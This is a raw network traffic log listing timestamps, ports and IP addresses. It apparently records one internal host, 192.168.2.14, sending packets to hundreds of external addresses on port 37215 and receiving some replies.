Aug 1, 2024 15:34:58.235234022 CEST	37215	41578	157.107.85.170	192.168.2.14
Aug 1, 2024 15:34:58.235244036 CEST	37215	60328	157.142.158.108	192.168.2.14
Aug 1, 2024 15:34:58.235291004 CEST	37215	42898	101.107.3.199	192.168.2.14
Aug 1, 2024 15:34:58.235301018 CEST	37215	36940	41.49.20.76	192.168.2.14
Aug 1, 2024 15:34:58.235312939 CEST	37215	47622	197.122.92.13	192.168.2.14
Aug 1, 2024 15:34:58.235322952 CEST	37215	36378	197.183.29.85	192.168.2.14
Aug 1, 2024 15:34:58.235380888 CEST	37215	38442	34.214.141.25	192.168.2.14
Aug 1, 2024 15:34:58.235390902 CEST	37215	38288	41.38.181.108	192.168.2.14
Aug 1, 2024 15:34:58.235399961 CEST	37215	56422	41.85.61.54	192.168.2.14
Aug 1, 2024 15:34:58.235409975 CEST	37215	58784	157.164.17.192	192.168.2.14
Aug 1, 2024 15:34:58.235421896 CEST	37215	34608	157.94.115.44	192.168.2.14
Aug 1, 2024 15:34:58.235498905 CEST	37215	55946	157.66.197.74	192.168.2.14
Aug 1, 2024 15:34:58.238265038 CEST	37215	54722	208.209.185.254	192.168.2.14
Aug 1, 2024 15:34:58.238279104 CEST	37215	46700	80.200.121.68	192.168.2.14
Aug 1, 2024 15:34:59.191747904 CEST	47767	37215	192.168.2.14	157.147.180.179
Aug 1, 2024 15:34:59.191751003 CEST	47767	37215	192.168.2.14	41.159.222.178
Aug 1, 2024 15:34:59.191751003 CEST	47767	37215	192.168.2.14	157.52.2.31
Aug 1, 2024 15:34:59.191751003 CEST	47767	37215	192.168.2.14	157.14.74.18
Aug 1, 2024 15:34:59.191751003 CEST	47767	37215	192.168.2.14	197.224.170.133
Aug 1, 2024 15:34:59.191751003 CEST	47767	37215	192.168.2.14	197.116.156.209
Aug 1, 2024 15:34:59.191752911 CEST	47767	37215	192.168.2.14	197.82.105.13
Aug 1, 2024 15:34:59.191757917 CEST	47767	37215	192.168.2.14	48.237.246.202
Aug 1, 2024 15:34:59.191757917 CEST	47767	37215	192.168.2.14	169.90.93.182
Aug 1, 2024 15:34:59.191757917 CEST	47767	37215	192.168.2.14	157.115.158.85
Aug 1, 2024 15:34:59.191771984 CEST	47767	37215	192.168.2.14	23.22.18.80
Aug 1, 2024 15:34:59.191775084 CEST	47767	37215	192.168.2.14	197.82.241.173
Aug 1, 2024 15:34:59.191786051 CEST	47767	37215	192.168.2.14	41.179.175.67
Aug 1, 2024 15:34:59.191797972 CEST	47767	37215	192.168.2.14	157.194.230.216
Aug 1, 2024 15:34:59.191797972 CEST	47767	37215	192.168.2.14	157.34.139.219
Aug 1, 2024 15:34:59.191797972 CEST	47767	37215	192.168.2.14	197.149.19.54
Aug 1, 2024 15:34:59.191798925 CEST	47767	37215	192.168.2.14	41.228.155.1
Aug 1, 2024 15:34:59.191804886 CEST	47767	37215	192.168.2.14	32.15.100.40
Aug 1, 2024 15:34:59.191804886 CEST	47767	37215	192.168.2.14	41.120.210.166
Aug 1, 2024 15:34:59.191808939 CEST	47767	37215	192.168.2.14	97.250.45.42
Aug 1, 2024 15:34:59.191814899 CEST	47767	37215	192.168.2.14	69.134.32.164
Aug 1, 2024 15:34:59.191814899 CEST	47767	37215	192.168.2.14	157.154.25.224
Aug 1, 2024 15:34:59.191814899 CEST	47767	37215	192.168.2.14	41.59.251.151
Aug 1, 2024 15:34:59.191828012 CEST	47767	37215	192.168.2.14	57.81.164.95
Aug 1, 2024 15:34:59.191833973 CEST	47767	37215	192.168.2.14	44.219.0.116
Aug 1, 2024 15:34:59.191838026 CEST	47767	37215	192.168.2.14	157.78.224.146
Aug 1, 2024 15:34:59.191848993 CEST	47767	37215	192.168.2.14	157.176.18.12
Aug 1, 2024 15:34:59.191859007 CEST	47767	37215	192.168.2.14	157.202.198.155
Aug 1, 2024 15:34:59.191865921 CEST	47767	37215	192.168.2.14	197.150.163.156
Aug 1, 2024 15:34:59.191879988 CEST	47767	37215	192.168.2.14	197.50.190.2
Aug 1, 2024 15:34:59.191890955 CEST	47767	37215	192.168.2.14	9.190.232.44
Aug 1, 2024 15:34:59.191895962 CEST	47767	37215	192.168.2.14	197.78.203.22
Aug 1, 2024 15:34:59.191905975 CEST	47767	37215	192.168.2.14	41.47.38.45
Aug 1, 2024 15:34:59.191924095 CEST	47767	37215	192.168.2.14	41.19.193.117
Aug 1, 2024 15:34:59.191927910 CEST	47767	37215	192.168.2.14	197.232.173.134
Aug 1, 2024 15:34:59.191941023 CEST	47767	37215	192.168.2.14	41.154.100.136
Aug 1, 2024 15:34:59.191946983 CEST	47767	37215	192.168.2.14	157.26.227.71
Aug 1, 2024 15:34:59.191951036 CEST	47767	37215	192.168.2.14	207.169.8.62
Aug 1, 2024 15:34:59.191966057 CEST	47767	37215	192.168.2.14	157.141.178.189
Aug 1, 2024 15:34:59.191966057 CEST	47767	37215	192.168.2.14	41.175.200.51
Aug 1, 2024 15:34:59.191989899 CEST	47767	37215	192.168.2.14	157.80.75.49
Aug 1, 2024 15:34:59.191992044 CEST	47767	37215	192.168.2.14	197.207.234.50
Aug 1, 2024 15:34:59.191996098 CEST	47767	37215	192.168.2.14	111.109.25.218
Aug 1, 2024 15:34:59.192001104 CEST	47767	37215	192.168.2.14	41.181.222.122
Aug 1, 2024 15:34:59.192023039 CEST	47767	37215	192.168.2.14	197.142.142.176
Aug 1, 2024 15:34:59.192025900 CEST	47767	37215	192.168.2.14	97.225.37.49
Aug 1, 2024 15:34:59.192033052 CEST	47767	37215	192.168.2.14	197.202.23.183
Aug 1, 2024 15:34:59.192054987 CEST	47767	37215	192.168.2.14	41.108.171.23
Aug 1, 2024 15:34:59.192056894 CEST	47767	37215	192.168.2.14	197.206.69.135
Aug 1, 2024 15:34:59.192060947 CEST	47767	37215	192.168.2.14	41.92.243.160
Aug 1, 2024 15:34:59.192080021 CEST	47767	37215	192.168.2.14	157.4.161.135
Aug 1, 2024 15:34:59.192080021 CEST	47767	37215	192.168.2.14	197.189.16.221
Aug 1, 2024 15:34:59.192086935 CEST	47767	37215	192.168.2.14	41.141.59.33
Aug 1, 2024 15:34:59.192099094 CEST	47767	37215	192.168.2.14	157.111.195.69
Aug 1, 2024 15:34:59.192114115 CEST	47767	37215	192.168.2.14	157.12.7.143
Aug 1, 2024 15:34:59.192118883 CEST	47767	37215	192.168.2.14	41.235.2.64
Aug 1, 2024 15:34:59.192126036 CEST	47767	37215	192.168.2.14	107.219.166.209
Aug 1, 2024 15:34:59.192153931 CEST	47767	37215	192.168.2.14	197.113.68.40
Aug 1, 2024 15:34:59.192157030 CEST	47767	37215	192.168.2.14	90.60.116.72
Aug 1, 2024 15:34:59.192161083 CEST	47767	37215	192.168.2.14	197.104.209.122
Aug 1, 2024 15:34:59.192181110 CEST	47767	37215	192.168.2.14	41.20.51.254
Aug 1, 2024 15:34:59.192183971 CEST	47767	37215	192.168.2.14	41.164.149.143
Aug 1, 2024 15:34:59.192199945 CEST	47767	37215	192.168.2.14	157.37.144.15
Aug 1, 2024 15:34:59.192199945 CEST	47767	37215	192.168.2.14	191.11.246.174
Aug 1, 2024 15:34:59.192219019 CEST	47767	37215	192.168.2.14	41.88.37.150
Aug 1, 2024 15:34:59.192222118 CEST	47767	37215	192.168.2.14	119.19.55.36
Aug 1, 2024 15:34:59.192234039 CEST	47767	37215	192.168.2.14	197.171.207.212
Aug 1, 2024 15:34:59.192250967 CEST	47767	37215	192.168.2.14	20.52.179.216
Aug 1, 2024 15:34:59.192250967 CEST	47767	37215	192.168.2.14	41.24.101.6
Aug 1, 2024 15:34:59.192261934 CEST	47767	37215	192.168.2.14	41.100.224.123
Aug 1, 2024 15:34:59.192287922 CEST	47767	37215	192.168.2.14	41.164.193.236
Aug 1, 2024 15:34:59.192293882 CEST	47767	37215	192.168.2.14	31.68.35.109
Aug 1, 2024 15:34:59.192298889 CEST	47767	37215	192.168.2.14	157.124.63.138
Aug 1, 2024 15:34:59.192301989 CEST	47767	37215	192.168.2.14	157.154.49.44
Aug 1, 2024 15:34:59.192325115 CEST	47767	37215	192.168.2.14	84.232.124.112
Aug 1, 2024 15:34:59.192327023 CEST	47767	37215	192.168.2.14	135.28.2.66
Aug 1, 2024 15:34:59.192338943 CEST	47767	37215	192.168.2.14	197.102.197.145
Aug 1, 2024 15:34:59.192353010 CEST	47767	37215	192.168.2.14	157.213.113.199
Aug 1, 2024 15:34:59.192359924 CEST	47767	37215	192.168.2.14	157.108.237.235
Aug 1, 2024 15:34:59.192373037 CEST	47767	37215	192.168.2.14	157.182.24.105
Aug 1, 2024 15:34:59.192373037 CEST	47767	37215	192.168.2.14	38.125.81.98
Aug 1, 2024 15:34:59.192399979 CEST	47767	37215	192.168.2.14	197.159.39.86
Aug 1, 2024 15:34:59.192406893 CEST	47767	37215	192.168.2.14	41.98.161.227
Aug 1, 2024 15:34:59.192406893 CEST	47767	37215	192.168.2.14	41.193.83.65
Aug 1, 2024 15:34:59.192415953 CEST	47767	37215	192.168.2.14	157.196.26.75
Aug 1, 2024 15:34:59.192425013 CEST	47767	37215	192.168.2.14	125.161.255.108
Aug 1, 2024 15:34:59.192446947 CEST	47767	37215	192.168.2.14	157.240.220.84
Aug 1, 2024 15:34:59.192446947 CEST	47767	37215	192.168.2.14	41.217.127.50
Aug 1, 2024 15:34:59.192450047 CEST	47767	37215	192.168.2.14	126.193.242.217
Aug 1, 2024 15:34:59.192485094 CEST	47767	37215	192.168.2.14	197.206.36.187
Aug 1, 2024 15:34:59.192496061 CEST	47767	37215	192.168.2.14	157.36.246.84
Aug 1, 2024 15:34:59.192497015 CEST	47767	37215	192.168.2.14	157.253.180.1
Aug 1, 2024 15:34:59.192521095 CEST	47767	37215	192.168.2.14	197.68.48.181
Aug 1, 2024 15:34:59.192523003 CEST	47767	37215	192.168.2.14	157.33.103.177
Aug 1, 2024 15:34:59.192543983 CEST	47767	37215	192.168.2.14	80.139.130.56
Aug 1, 2024 15:34:59.192544937 CEST	47767	37215	192.168.2.14	41.168.112.235
Aug 1, 2024 15:34:59.192562103 CEST	47767	37215	192.168.2.14	157.164.69.172
Aug 1, 2024 15:34:59.192563057 CEST	47767	37215	192.168.2.14	41.238.48.28
Aug 1, 2024 15:34:59.192576885 CEST	47767	37215	192.168.2.14	180.63.19.68
Aug 1, 2024 15:34:59.192578077 CEST	47767	37215	192.168.2.14	41.62.154.132
Aug 1, 2024 15:34:59.192589045 CEST	47767	37215	192.168.2.14	157.114.215.88
Aug 1, 2024 15:34:59.192608118 CEST	47767	37215	192.168.2.14	24.19.94.141
Aug 1, 2024 15:34:59.192615032 CEST	47767	37215	192.168.2.14	197.80.49.11
Aug 1, 2024 15:34:59.192616940 CEST	47767	37215	192.168.2.14	197.238.76.171
Aug 1, 2024 15:34:59.192625046 CEST	47767	37215	192.168.2.14	157.96.41.58
Aug 1, 2024 15:34:59.192646980 CEST	47767	37215	192.168.2.14	157.224.253.79
Aug 1, 2024 15:34:59.192648888 CEST	47767	37215	192.168.2.14	157.234.135.198
Aug 1, 2024 15:34:59.192658901 CEST	47767	37215	192.168.2.14	157.137.112.29
Aug 1, 2024 15:34:59.192661047 CEST	47767	37215	192.168.2.14	41.241.175.134
Aug 1, 2024 15:34:59.192672014 CEST	47767	37215	192.168.2.14	41.151.44.236
Aug 1, 2024 15:34:59.192686081 CEST	47767	37215	192.168.2.14	41.170.129.204
Aug 1, 2024 15:34:59.192696095 CEST	47767	37215	192.168.2.14	12.200.124.37
Aug 1, 2024 15:34:59.192703962 CEST	47767	37215	192.168.2.14	157.4.86.223
Aug 1, 2024 15:34:59.192728043 CEST	47767	37215	192.168.2.14	197.146.97.77
Aug 1, 2024 15:34:59.192734003 CEST	47767	37215	192.168.2.14	27.13.167.201
Aug 1, 2024 15:34:59.192747116 CEST	47767	37215	192.168.2.14	157.162.42.208
Aug 1, 2024 15:34:59.192748070 CEST	47767	37215	192.168.2.14	188.108.83.39
Aug 1, 2024 15:34:59.192759037 CEST	47767	37215	192.168.2.14	157.201.154.148
Aug 1, 2024 15:34:59.192769051 CEST	47767	37215	192.168.2.14	197.60.134.183
Aug 1, 2024 15:34:59.192774057 CEST	47767	37215	192.168.2.14	157.254.90.108
Aug 1, 2024 15:34:59.192791939 CEST	47767	37215	192.168.2.14	41.78.120.21
Aug 1, 2024 15:34:59.192791939 CEST	47767	37215	192.168.2.14	73.38.23.67
Aug 1, 2024 15:34:59.192800045 CEST	47767	37215	192.168.2.14	197.105.131.94
Aug 1, 2024 15:34:59.192817926 CEST	47767	37215	192.168.2.14	157.242.52.91
Aug 1, 2024 15:34:59.192819118 CEST	47767	37215	192.168.2.14	157.23.170.138
Aug 1, 2024 15:34:59.192836046 CEST	47767	37215	192.168.2.14	41.89.107.167
Aug 1, 2024 15:34:59.192842960 CEST	47767	37215	192.168.2.14	41.56.153.170
Aug 1, 2024 15:34:59.192864895 CEST	47767	37215	192.168.2.14	41.150.42.173
Aug 1, 2024 15:34:59.192867994 CEST	47767	37215	192.168.2.14	157.190.239.177
Aug 1, 2024 15:34:59.192881107 CEST	47767	37215	192.168.2.14	157.82.65.232
Aug 1, 2024 15:34:59.192890882 CEST	47767	37215	192.168.2.14	41.147.26.83
Aug 1, 2024 15:34:59.192899942 CEST	47767	37215	192.168.2.14	41.235.197.244
Aug 1, 2024 15:34:59.192915916 CEST	47767	37215	192.168.2.14	157.78.220.41
Aug 1, 2024 15:34:59.192918062 CEST	47767	37215	192.168.2.14	197.63.190.45
Aug 1, 2024 15:34:59.192933083 CEST	47767	37215	192.168.2.14	41.76.128.203
Aug 1, 2024 15:34:59.192954063 CEST	47767	37215	192.168.2.14	197.85.142.182
Aug 1, 2024 15:34:59.192954063 CEST	47767	37215	192.168.2.14	63.120.40.133
Aug 1, 2024 15:34:59.192955971 CEST	47767	37215	192.168.2.14	197.246.30.64
Aug 1, 2024 15:34:59.192970991 CEST	47767	37215	192.168.2.14	136.46.29.148
Aug 1, 2024 15:34:59.192986965 CEST	47767	37215	192.168.2.14	41.41.71.88
Aug 1, 2024 15:34:59.192991018 CEST	47767	37215	192.168.2.14	157.138.174.217
Aug 1, 2024 15:34:59.192996025 CEST	47767	37215	192.168.2.14	118.192.63.141
Aug 1, 2024 15:34:59.193003893 CEST	47767	37215	192.168.2.14	41.109.220.125
Aug 1, 2024 15:34:59.193018913 CEST	47767	37215	192.168.2.14	112.128.136.30
Aug 1, 2024 15:34:59.193033934 CEST	47767	37215	192.168.2.14	41.107.94.48
Aug 1, 2024 15:34:59.193037987 CEST	47767	37215	192.168.2.14	41.52.107.254
Aug 1, 2024 15:34:59.193038940 CEST	47767	37215	192.168.2.14	41.83.163.99
Aug 1, 2024 15:34:59.193048000 CEST	47767	37215	192.168.2.14	197.185.111.97
Aug 1, 2024 15:34:59.193058968 CEST	47767	37215	192.168.2.14	197.23.60.168
Aug 1, 2024 15:34:59.193067074 CEST	47767	37215	192.168.2.14	219.155.0.124
Aug 1, 2024 15:34:59.193079948 CEST	47767	37215	192.168.2.14	41.161.102.218
Aug 1, 2024 15:34:59.193097115 CEST	47767	37215	192.168.2.14	166.223.221.164
Aug 1, 2024 15:34:59.193104029 CEST	47767	37215	192.168.2.14	157.5.109.189
Aug 1, 2024 15:34:59.193104029 CEST	47767	37215	192.168.2.14	157.158.183.224
Aug 1, 2024 15:34:59.193109989 CEST	47767	37215	192.168.2.14	18.194.167.50
Aug 1, 2024 15:34:59.193135023 CEST	47767	37215	192.168.2.14	91.194.45.38
Aug 1, 2024 15:34:59.193142891 CEST	47767	37215	192.168.2.14	41.74.123.25
Aug 1, 2024 15:34:59.193177938 CEST	47767	37215	192.168.2.14	138.214.102.216
Aug 1, 2024 15:34:59.193181992 CEST	47767	37215	192.168.2.14	41.43.100.163
Aug 1, 2024 15:34:59.193181992 CEST	47767	37215	192.168.2.14	157.120.66.165
Aug 1, 2024 15:34:59.193188906 CEST	47767	37215	192.168.2.14	197.167.39.95
Aug 1, 2024 15:34:59.193205118 CEST	47767	37215	192.168.2.14	134.183.251.243
Aug 1, 2024 15:34:59.193212032 CEST	47767	37215	192.168.2.14	41.219.197.16
Aug 1, 2024 15:34:59.193231106 CEST	47767	37215	192.168.2.14	157.88.68.208
Aug 1, 2024 15:34:59.193234921 CEST	47767	37215	192.168.2.14	157.154.48.216
Aug 1, 2024 15:34:59.193245888 CEST	47767	37215	192.168.2.14	197.130.251.3
Aug 1, 2024 15:34:59.193260908 CEST	47767	37215	192.168.2.14	197.89.173.242
Aug 1, 2024 15:34:59.193263054 CEST	47767	37215	192.168.2.14	157.253.10.34
Aug 1, 2024 15:34:59.193284988 CEST	47767	37215	192.168.2.14	197.16.100.78
Aug 1, 2024 15:34:59.193289995 CEST	47767	37215	192.168.2.14	197.12.225.254
Aug 1, 2024 15:34:59.193300009 CEST	47767	37215	192.168.2.14	197.12.95.190
Aug 1, 2024 15:34:59.193314075 CEST	47767	37215	192.168.2.14	41.108.249.103
Aug 1, 2024 15:34:59.193319082 CEST	47767	37215	192.168.2.14	41.79.160.146
Aug 1, 2024 15:34:59.193319082 CEST	47767	37215	192.168.2.14	157.103.47.32
Aug 1, 2024 15:34:59.193341017 CEST	47767	37215	192.168.2.14	197.17.179.252
Aug 1, 2024 15:34:59.193341017 CEST	47767	37215	192.168.2.14	41.245.185.224
Aug 1, 2024 15:34:59.193351984 CEST	47767	37215	192.168.2.14	157.79.109.3
Aug 1, 2024 15:34:59.193372011 CEST	47767	37215	192.168.2.14	41.74.126.187
Aug 1, 2024 15:34:59.193372011 CEST	47767	37215	192.168.2.14	41.253.236.38
Aug 1, 2024 15:34:59.193383932 CEST	47767	37215	192.168.2.14	197.71.147.151
Aug 1, 2024 15:34:59.193387985 CEST	47767	37215	192.168.2.14	41.154.118.32
Aug 1, 2024 15:34:59.193403006 CEST	47767	37215	192.168.2.14	197.185.178.240
Aug 1, 2024 15:34:59.193423033 CEST	47767	37215	192.168.2.14	197.53.237.26
Aug 1, 2024 15:34:59.193423033 CEST	47767	37215	192.168.2.14	211.54.101.57
Aug 1, 2024 15:34:59.193444014 CEST	47767	37215	192.168.2.14	137.133.125.210
Aug 1, 2024 15:34:59.193444967 CEST	47767	37215	192.168.2.14	41.68.28.149
Aug 1, 2024 15:34:59.193445921 CEST	47767	37215	192.168.2.14	197.99.211.31
Aug 1, 2024 15:34:59.193468094 CEST	47767	37215	192.168.2.14	126.100.155.189
Aug 1, 2024 15:34:59.193469048 CEST	47767	37215	192.168.2.14	197.54.229.169
Aug 1, 2024 15:34:59.193478107 CEST	47767	37215	192.168.2.14	157.101.162.13
Aug 1, 2024 15:34:59.193499088 CEST	47767	37215	192.168.2.14	197.121.155.108
Aug 1, 2024 15:34:59.193501949 CEST	47767	37215	192.168.2.14	41.52.12.132
Aug 1, 2024 15:34:59.193526983 CEST	47767	37215	192.168.2.14	166.169.83.193
Aug 1, 2024 15:34:59.193527937 CEST	47767	37215	192.168.2.14	197.11.129.185
Aug 1, 2024 15:34:59.193528891 CEST	47767	37215	192.168.2.14	58.156.129.188
Aug 1, 2024 15:34:59.193546057 CEST	47767	37215	192.168.2.14	205.168.208.22
Aug 1, 2024 15:34:59.193562031 CEST	47767	37215	192.168.2.14	78.144.226.163
Aug 1, 2024 15:34:59.193562984 CEST	47767	37215	192.168.2.14	197.80.128.182
Aug 1, 2024 15:34:59.193569899 CEST	47767	37215	192.168.2.14	157.52.248.164
Aug 1, 2024 15:34:59.193594933 CEST	47767	37215	192.168.2.14	157.118.9.35
Aug 1, 2024 15:34:59.193595886 CEST	47767	37215	192.168.2.14	157.32.148.252
Aug 1, 2024 15:34:59.193599939 CEST	47767	37215	192.168.2.14	157.226.171.207
Aug 1, 2024 15:34:59.193620920 CEST	47767	37215	192.168.2.14	41.76.2.129
Aug 1, 2024 15:34:59.193627119 CEST	47767	37215	192.168.2.14	197.137.115.65
Aug 1, 2024 15:34:59.193628073 CEST	47767	37215	192.168.2.14	157.113.145.111
Aug 1, 2024 15:34:59.193643093 CEST	47767	37215	192.168.2.14	197.170.85.99
Aug 1, 2024 15:34:59.193645954 CEST	47767	37215	192.168.2.14	105.165.63.7
Aug 1, 2024 15:34:59.193664074 CEST	47767	37215	192.168.2.14	198.104.201.44
Aug 1, 2024 15:34:59.193666935 CEST	47767	37215	192.168.2.14	217.249.197.83
Aug 1, 2024 15:34:59.193686008 CEST	47767	37215	192.168.2.14	107.13.231.246
Aug 1, 2024 15:34:59.193686008 CEST	47767	37215	192.168.2.14	41.61.168.163
Aug 1, 2024 15:34:59.193691015 CEST	47767	37215	192.168.2.14	41.200.234.185
Aug 1, 2024 15:34:59.193706036 CEST	47767	37215	192.168.2.14	157.254.97.58
Aug 1, 2024 15:34:59.193730116 CEST	47767	37215	192.168.2.14	41.141.133.53
Aug 1, 2024 15:34:59.193731070 CEST	47767	37215	192.168.2.14	41.172.181.125
Aug 1, 2024 15:34:59.193748951 CEST	47767	37215	192.168.2.14	60.130.244.9
Aug 1, 2024 15:34:59.193748951 CEST	47767	37215	192.168.2.14	197.6.51.90
Aug 1, 2024 15:34:59.193757057 CEST	47767	37215	192.168.2.14	197.58.10.39
Aug 1, 2024 15:34:59.193768024 CEST	47767	37215	192.168.2.14	41.200.90.140
Aug 1, 2024 15:34:59.193773031 CEST	47767	37215	192.168.2.14	197.164.112.203
Aug 1, 2024 15:34:59.193788052 CEST	47767	37215	192.168.2.14	197.5.110.126
Aug 1, 2024 15:34:59.193804026 CEST	47767	37215	192.168.2.14	41.141.154.192
Aug 1, 2024 15:34:59.193806887 CEST	47767	37215	192.168.2.14	197.111.174.10
Aug 1, 2024 15:34:59.193816900 CEST	47767	37215	192.168.2.14	41.40.221.28
Aug 1, 2024 15:34:59.193829060 CEST	47767	37215	192.168.2.14	41.147.137.244
Aug 1, 2024 15:34:59.193829060 CEST	47767	37215	192.168.2.14	197.41.194.147
Aug 1, 2024 15:34:59.193839073 CEST	47767	37215	192.168.2.14	197.218.203.70
Aug 1, 2024 15:34:59.193873882 CEST	47767	37215	192.168.2.14	41.28.192.174
Aug 1, 2024 15:34:59.193878889 CEST	47767	37215	192.168.2.14	197.19.184.207
Aug 1, 2024 15:34:59.193892002 CEST	47767	37215	192.168.2.14	113.16.222.200
Aug 1, 2024 15:34:59.193897963 CEST	47767	37215	192.168.2.14	144.126.245.42
Aug 1, 2024 15:34:59.193900108 CEST	47767	37215	192.168.2.14	157.50.91.84
Aug 1, 2024 15:34:59.193916082 CEST	47767	37215	192.168.2.14	197.127.128.225
Aug 1, 2024 15:34:59.193923950 CEST	47767	37215	192.168.2.14	197.67.198.48
Aug 1, 2024 15:34:59.193924904 CEST	47767	37215	192.168.2.14	197.240.3.195
Aug 1, 2024 15:34:59.193941116 CEST	47767	37215	192.168.2.14	41.30.93.7
Aug 1, 2024 15:34:59.193949938 CEST	47767	37215	192.168.2.14	157.30.104.129
Aug 1, 2024 15:34:59.193958998 CEST	47767	37215	192.168.2.14	41.15.236.234
Aug 1, 2024 15:34:59.193965912 CEST	47767	37215	192.168.2.14	180.68.37.214
Aug 1, 2024 15:34:59.193985939 CEST	47767	37215	192.168.2.14	41.25.138.196
Aug 1, 2024 15:34:59.193985939 CEST	47767	37215	192.168.2.14	41.131.210.195
Aug 1, 2024 15:34:59.193986893 CEST	47767	37215	192.168.2.14	206.53.65.154
Aug 1, 2024 15:34:59.194005013 CEST	47767	37215	192.168.2.14	157.207.137.17
Aug 1, 2024 15:34:59.194020987 CEST	47767	37215	192.168.2.14	197.31.132.85
Aug 1, 2024 15:34:59.194021940 CEST	47767	37215	192.168.2.14	41.5.166.214
Aug 1, 2024 15:34:59.194030046 CEST	47767	37215	192.168.2.14	197.243.28.138
Aug 1, 2024 15:34:59.194047928 CEST	47767	37215	192.168.2.14	41.19.42.246
Aug 1, 2024 15:34:59.194051027 CEST	47767	37215	192.168.2.14	41.197.214.17
Aug 1, 2024 15:34:59.194062948 CEST	47767	37215	192.168.2.14	150.104.237.3
Aug 1, 2024 15:34:59.194075108 CEST	47767	37215	192.168.2.14	41.135.159.193
Aug 1, 2024 15:34:59.194077969 CEST	47767	37215	192.168.2.14	41.210.32.53
Aug 1, 2024 15:34:59.194099903 CEST	47767	37215	192.168.2.14	157.50.190.85
Aug 1, 2024 15:34:59.194103956 CEST	47767	37215	192.168.2.14	157.118.216.58
Aug 1, 2024 15:34:59.194119930 CEST	47767	37215	192.168.2.14	157.135.198.113
Aug 1, 2024 15:34:59.194124937 CEST	47767	37215	192.168.2.14	106.98.95.231
Aug 1, 2024 15:34:59.194139957 CEST	47767	37215	192.168.2.14	41.167.163.83
Aug 1, 2024 15:34:59.207756042 CEST	37215	47767	157.147.180.179	192.168.2.14
Aug 1, 2024 15:34:59.207771063 CEST	37215	47767	23.22.18.80	192.168.2.14
Aug 1, 2024 15:34:59.207783937 CEST	37215	47767	41.159.222.178	192.168.2.14
Aug 1, 2024 15:34:59.207798004 CEST	37215	47767	197.116.156.209	192.168.2.14
Aug 1, 2024 15:34:59.207809925 CEST	37215	47767	197.82.105.13	192.168.2.14
Aug 1, 2024 15:34:59.207823992 CEST	37215	47767	157.52.2.31	192.168.2.14
Aug 1, 2024 15:34:59.207838058 CEST	37215	47767	157.14.74.18	192.168.2.14
Aug 1, 2024 15:34:59.207845926 CEST	47767	37215	192.168.2.14	197.116.156.209
Aug 1, 2024 15:34:59.207849026 CEST	47767	37215	192.168.2.14	41.159.222.178
Aug 1, 2024 15:34:59.207849979 CEST	47767	37215	192.168.2.14	157.147.180.179
Aug 1, 2024 15:34:59.207850933 CEST	37215	47767	197.82.241.173	192.168.2.14
Aug 1, 2024 15:34:59.207849979 CEST	47767	37215	192.168.2.14	23.22.18.80
Aug 1, 2024 15:34:59.207856894 CEST	47767	37215	192.168.2.14	157.52.2.31
Aug 1, 2024 15:34:59.207859039 CEST	47767	37215	192.168.2.14	197.82.105.13
Aug 1, 2024 15:34:59.207868099 CEST	37215	47767	197.224.170.133	192.168.2.14
Aug 1, 2024 15:34:59.207869053 CEST	47767	37215	192.168.2.14	157.14.74.18
Aug 1, 2024 15:34:59.207882881 CEST	37215	47767	48.237.246.202	192.168.2.14
Aug 1, 2024 15:34:59.207900047 CEST	37215	47767	169.90.93.182	192.168.2.14
Aug 1, 2024 15:34:59.207899094 CEST	47767	37215	192.168.2.14	197.82.241.173
Aug 1, 2024 15:34:59.207906008 CEST	47767	37215	192.168.2.14	197.224.170.133
Aug 1, 2024 15:34:59.207914114 CEST	37215	47767	157.115.158.85	192.168.2.14
Aug 1, 2024 15:34:59.207925081 CEST	47767	37215	192.168.2.14	48.237.246.202
Aug 1, 2024 15:34:59.207925081 CEST	47767	37215	192.168.2.14	169.90.93.182
Aug 1, 2024 15:34:59.207927942 CEST	37215	47767	157.194.230.216	192.168.2.14
Aug 1, 2024 15:34:59.207941055 CEST	37215	47767	157.34.139.219	192.168.2.14
Aug 1, 2024 15:34:59.207954884 CEST	37215	47767	32.15.100.40	192.168.2.14
Aug 1, 2024 15:34:59.207961082 CEST	47767	37215	192.168.2.14	157.115.158.85
Aug 1, 2024 15:34:59.207967997 CEST	37215	47767	97.250.45.42	192.168.2.14
Aug 1, 2024 15:34:59.207967997 CEST	47767	37215	192.168.2.14	157.194.230.216
Aug 1, 2024 15:34:59.207981110 CEST	37215	47767	197.149.19.54	192.168.2.14
Aug 1, 2024 15:34:59.207984924 CEST	47767	37215	192.168.2.14	157.34.139.219
Aug 1, 2024 15:34:59.207993031 CEST	37215	47767	41.179.175.67	192.168.2.14
Aug 1, 2024 15:34:59.208005905 CEST	47767	37215	192.168.2.14	32.15.100.40
Aug 1, 2024 15:34:59.208007097 CEST	37215	47767	41.228.155.1	192.168.2.14
Aug 1, 2024 15:34:59.208009005 CEST	47767	37215	192.168.2.14	97.250.45.42
Aug 1, 2024 15:34:59.208012104 CEST	47767	37215	192.168.2.14	197.149.19.54
Aug 1, 2024 15:34:59.208020926 CEST	37215	47767	41.120.210.166	192.168.2.14
Aug 1, 2024 15:34:59.208034992 CEST	37215	47767	69.134.32.164	192.168.2.14
Aug 1, 2024 15:34:59.208039999 CEST	47767	37215	192.168.2.14	41.228.155.1
Aug 1, 2024 15:34:59.208049059 CEST	37215	47767	157.154.25.224	192.168.2.14
Aug 1, 2024 15:34:59.208048105 CEST	47767	37215	192.168.2.14	41.179.175.67
Aug 1, 2024 15:34:59.208064079 CEST	37215	47767	41.59.251.151	192.168.2.14
Aug 1, 2024 15:34:59.208065033 CEST	47767	37215	192.168.2.14	41.120.210.166
Aug 1, 2024 15:34:59.208067894 CEST	47767	37215	192.168.2.14	69.134.32.164
Aug 1, 2024 15:34:59.208080053 CEST	37215	47767	57.81.164.95	192.168.2.14
Aug 1, 2024 15:34:59.208095074 CEST	37215	47767	44.219.0.116	192.168.2.14
Aug 1, 2024 15:34:59.208107948 CEST	37215	47767	157.78.224.146	192.168.2.14
Aug 1, 2024 15:34:59.208107948 CEST	47767	37215	192.168.2.14	157.154.25.224
Aug 1, 2024 15:34:59.208107948 CEST	47767	37215	192.168.2.14	41.59.251.151
Aug 1, 2024 15:34:59.208108902 CEST	47767	37215	192.168.2.14	57.81.164.95
Aug 1, 2024 15:34:59.208121061 CEST	37215	47767	157.176.18.12	192.168.2.14
Aug 1, 2024 15:34:59.208134890 CEST	37215	47767	157.202.198.155	192.168.2.14
Aug 1, 2024 15:34:59.208136082 CEST	47767	37215	192.168.2.14	44.219.0.116
Aug 1, 2024 15:34:59.208142042 CEST	47767	37215	192.168.2.14	157.78.224.146
Aug 1, 2024 15:34:59.208149910 CEST	37215	47767	197.150.163.156	192.168.2.14
Aug 1, 2024 15:34:59.208162069 CEST	47767	37215	192.168.2.14	157.176.18.12
